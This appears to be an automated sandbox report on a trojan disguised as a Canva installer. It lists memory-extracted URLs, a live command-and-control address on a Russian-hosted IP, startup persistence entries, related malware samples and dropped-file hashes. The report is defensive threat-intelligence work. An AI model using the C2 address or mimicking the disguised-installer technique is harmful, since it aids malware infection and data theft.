https://www.ted.com/talks/tommy_mccall_the_simple_genius_of_a_good_graphic	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=lv&category=theme81https://myactivity.google.com/myactivity/?u	is-P8KJC.tmp.1.dr	false		high
https://aka.ms/pscore6lBkq	powershell.exe, 00000005.00000002.2220622751.0000000004B71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08P	MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://w.soundcloud.com/player/?visual=true&url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F11584106	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com/video/314182905?byline=0&badge=0&portrait=0&title=0	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.instagram.com/p/BSMaDhvFcFl/	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/d	MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
https://www.youtube.com/watch?v=3FZGN7BCs6k&t=13s	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/h	MSBuild.exe, 0000000C.00000002.2921996960.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vimeo.com/316458419	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	dobi.exe, 00000008.00000002.2313695689.000001F718565000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.0000000004474000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=lvCtrl$1	is-P8KJC.tmp.1.dr	false		high
https://vimeo.com/314182918	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://canva-embed.com/api/iframe?url=https%3A%2F%2Fwww.instagram.com%2Fp%2FBSMaDhvFcFl%2F%3Futm_so	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.2220622751.0000000004CC6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/embed/3FZGN7BCs6k?rel=0&showinfo=0&start=13	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://soundcloud.com/yigitcanbal/bob-marley-dont-worry-be-happy	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	dobi.exe, 00000008.00000002.2313695689.000001F71833C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.2391759200.000000000442C000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2653268479.0000000004BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/a/answer/9122284	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
http://45.141.84.168:9000/wbinjget?q=8587D7BC4236146899B093C1B42EFE08/	MSBuild.exe, 0000000C.00000002.2916287723.000000000116F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://canva-embed.com/api/iframe?url=http%3A%2F%2Fghiblipic.tumblr.com%2Fimage%2F176076545875&	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://canva-embed.com/aCl7bwm?app=1	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_presentations.svg	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vimeo.com/314182905	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://codepen.io/onion2k/embed/preview/BGrXEO?height=300&slug-hash=BGrXEO&default-tabs=html	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://open.spotify.com/embed/track/5b88tNINg4Q4nrRbrCXUmg	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabS	MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_sites.svg	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://static.canva.com/static/images/favicons/favicon_app_whiteboards.svg	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://int3.de/	9VbeqQbgU4.tmp, 00000001.00000002.2501521506.0000000000CEC000.00000004.00000010.00020000.00000000.sdmp	false		high
https://gfycat.com/ifr/GraveJovialChital	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://myactivity.google.com/	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.11.dr	false		high
https://github.com/focus-trap/tabbable/blob/master/LICENSE	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
http://vovsoft.com/	dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe, 00000008.00000002.2244640646.000001F717BCD000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2191379305.0000000000C39000.00000002.00000001.01000000.0000000A.sdmp, svchost.exe, 0000000B.00000003.2286365154.000001EFC82DE000.00000004.00000020.00020000.00000000.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010EA000.00000020.00000001.01000000.00000011.sdmp	false		high
https://vovsoft.com/blog/credits-and-acknowledgements/H	dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.00000000010EA000.00000020.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
https://codepen.io	9VbeqQbgU4.tmp, 00000001.00000003.2480801457.0000000005440000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MSBuild.exe, 0000000C.00000002.2921996960.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.000000000323A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2945399112.0000000003EA0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003305000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2921996960.0000000003271000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000005.00000002.2230696323.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromeenterprise.google/policies/#BrowserSwitcherUrlList	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high
https://policies.google.com/	is-C12V6.tmp.1.dr, is-P8KJC.tmp.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.141.84.168	unknown	Russian Federation		206728	MEDIALAND-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564404
Start date and time:	2024-11-28 09:51:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9VbeqQbgU4.exe renamed because original name is a hash value
Original Sample Name:	a91b4875630c4f702ab63f94ed633da4.exe
Detection:	MAL
Classification:	mal80.troj.spyw.evad.winEXE@20/183@0/2
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 98% Number of executed functions: 136 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 199.232.210.172, 192.229.221.95, 13.85.23.206, 20.3.187.198
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target MSBuild.exe, PID 340 because it is empty
Execution Graph export aborted for target coml.exe, PID 4584 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1744 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: 9VbeqQbgU4.exe

Simulations

Behavior and APIs

Time	Type	Description
03:52:48	API Interceptor	41x Sleep call for process: powershell.exe modified
03:52:58	API Interceptor	1x Sleep call for process: dobi.exe modified
03:53:00	API Interceptor	2x Sleep call for process: svchost.exe modified
03:53:16	API Interceptor	1268x Sleep call for process: MSBuild.exe modified
03:53:34	API Interceptor	1x Sleep call for process: coml.exe modified
08:53:09	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT2493.tmp
08:53:23	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coml.lnk

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	chutmarao.ps1	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	fpPn4XBjyk.exe	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	Banco Santander Totta - NOTIFICA#U00c7#U00c3O DE TRANSFER#U00caNCIA ELECTR#U00d3NICA.eml	Get hash	malicious	CredentialStealer	Browse	199.232.214.172
	invoice-1664809283.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	NF---710.msi	Get hash	malicious	AteraAgent	Browse	199.232.210.172
	60d3afa4-2164-7144-a69a-cb4a16ac6cd6.eml	Get hash	malicious	CredentialStealer	Browse	199.232.214.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	Demande de proposition du Accueil-Parrainage Outaouais.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	file.exe	Get hash	malicious	MicroClip	Browse	199.232.214.172
s-part-0035.t-0009.t-msedge.net	DarkGate_Loader.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	chutmarao.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf (1).js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	hotel11-27.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	13.107.246.63
fp2e7a.wpc.phicdn.net	invoice-1664809283.pdf (1).js	Get hash	malicious	RHADAMANTHYS	Browse	192.229.221.95
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	192.229.221.95
	hotel11-27.ps1	Get hash	malicious	RHADAMANTHYS	Browse	192.229.221.95
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	192.229.221.95
	qABMUOvImw.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	NF---710.msi	Get hash	malicious	AteraAgent	Browse	192.229.221.95
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.229.221.95
	1ZFDEXA938MKSUBA.html	Get hash	malicious	WinSearchAbuse	Browse	192.229.221.95
	20241125_BAON_19xxxxxx24.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	192.229.221.95
	Tracking.js	Get hash	malicious	Unknown	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MEDIALAND-ASRU	SecuriteInfo.com.Win32.Malware-gen.6717.12233.exe	Get hash	malicious	RedLine, SectopRAT	Browse	45.141.86.82
	ExeFile (236).exe	Get hash	malicious	Oski	Browse	45.141.84.184
	bLNr5K5U7B.elf	Get hash	malicious	Mirai	Browse	45.141.84.241
	aqua.arm7	Get hash	malicious	Mirai	Browse	45.141.84.246
	5xPf2c2uL7.exe	Get hash	malicious	RedLine SmokeLoader	Browse	45.141.84.21
	VsaIxu42Ks.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21
	16vbR3UTik.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21
	VJHkHNoW68.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21
	SF45gO3Bc8.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21
	3B0jZOP3Ou.exe	Get hash	malicious	RedLine SmokeLoader	Browse	45.141.84.21

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	https://hcm55.sapsf.eu/sf/liveprofile?company=jernimomarP2&blockId=block2109&_s.crb=USKEprAmKRumsjVSyLJPCEVj9GAzHD70l0UaoJsp%252f50%253d	Get hash	malicious	Unknown	Browse	13.107.246.63
	chutmarao.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf (1).js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	hotel11-27.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	http://www.fabribat.com/.js/	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://pixmar.co.za/.well-known/.js/	Get hash	malicious	Unknown	Browse	13.107.246.63

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse
	MayitaV16.exe	Get hash	malicious	Unknown	Browse
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	Launcher 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Launcher 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\Canva\Canva.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	176670344
Entropy (8bit):	6.752951259704491
Encrypted:	false
SSDEEP:	1572864:XgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hh:ng/geeFXzGa9cz
MD5:	762DF055F5A0FCDE30E96F0D6B84D6F0
SHA1:	9F669E5FCA1AE9C2EFD505FCD80D1948B2BB79F8
SHA-256:	8C2D451098E847FA5498E3BFFC8DDF93CDBC150355A7B6568E0984568EED4FAA
SHA-512:	68107C096A6E18C0DEB68CCDB2513F47038CC618313F4E9A858DC8367D372B3EAA81973AE00385DD1E5DC542EACEC4FE695847C47E85C571E9D8AEE06E8E646D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......4.....................@.............................`.......{....`.........................................G....j..4...T....0..<W...pe...F..n...X......................................(...@o..@.......................`....................text...U2.......4.................. ..`.rdata.......P.......8..............@..@.data.....D..p ......P .............@....pdata....F..pe...F...).............@..@.gxfg....A...P...B....p.............@..@.retplne............. q..................rodata.............."q............. ..`.tls....i...........4q.............@...CPADinfo8...........:q.............@...LZMADEC.............<q............. ..`_RDATA..\............Nq.............@..@malloc_h..... .......Pq............. ..`.rsrc...<W...0...X...Rq.............@..@.reloc................x.............@..B........................................................

C:\Program Files (x86)\Canva\LICENSE.electron.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Program Files (x86)\Canva\LICENSES.chromium.html (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	9174266
Entropy (8bit):	4.780443521000387
Encrypted:	false
SSDEEP:	24576:KPQQ/6MP6P5d1n+wRcXe1Lmfpm6k626D6b6+eGnkywBIpv:Cy8OeG8k
MD5:	BD0CED1BC275F592B03BAFAC4B301A93
SHA1:	68776B7D9139588C71FBC51FE15243C9835ACB67
SHA-256:	AD35E72893910D6F6ED20F4916457417AF05B94AB5204C435C35F66A058D156B
SHA-512:	5052AE32DAE0705CC29EA170BCC5210B48E4AF91D4ECEC380CB4A57CE1C56BC1D834FC2D96E2A0F5F640FCAC8CAFE4A4FDD0542F26CA430D76AA8B9212BA77AA
Malicious:	false
Preview:	Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title">Credits</span>.<a id="print-link" href="#" hidden>Print</a>.<label class="show show-all" tabindex="0">.<input type="checkbox" hidden>.</label>.<div class="open-sourced">. Chromium software is made available as source code. <a href="https://source.chromium.org/chromium">here</a>..</div>..<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<labe

C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	567600
Entropy (8bit):	6.625079942815177
Encrypted:	false
SSDEEP:	6144:X740IlcheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7NR:LY1F6imvJU0Zktg781CNXISRKJ5C2
MD5:	05AD20B974827EFE0DB94F157AFFFC63
SHA1:	728BDF6D8E493CF856004D03A318D7E2563FC4FB
SHA-256:	5121EF37775EC7AE72FA466AC1ED7CA1282A34CBB1C611A77EAD15D2383B7C20
SHA-512:	8BD40CC9F2D45115A58DD5A15A058E9444CC21D9EBDBAFA9196634FDFD94141738E6EF46CEBAFFF1490F5E4A961B893431AC30061BD60E764894E4B8A9A65133
Malicious:	false
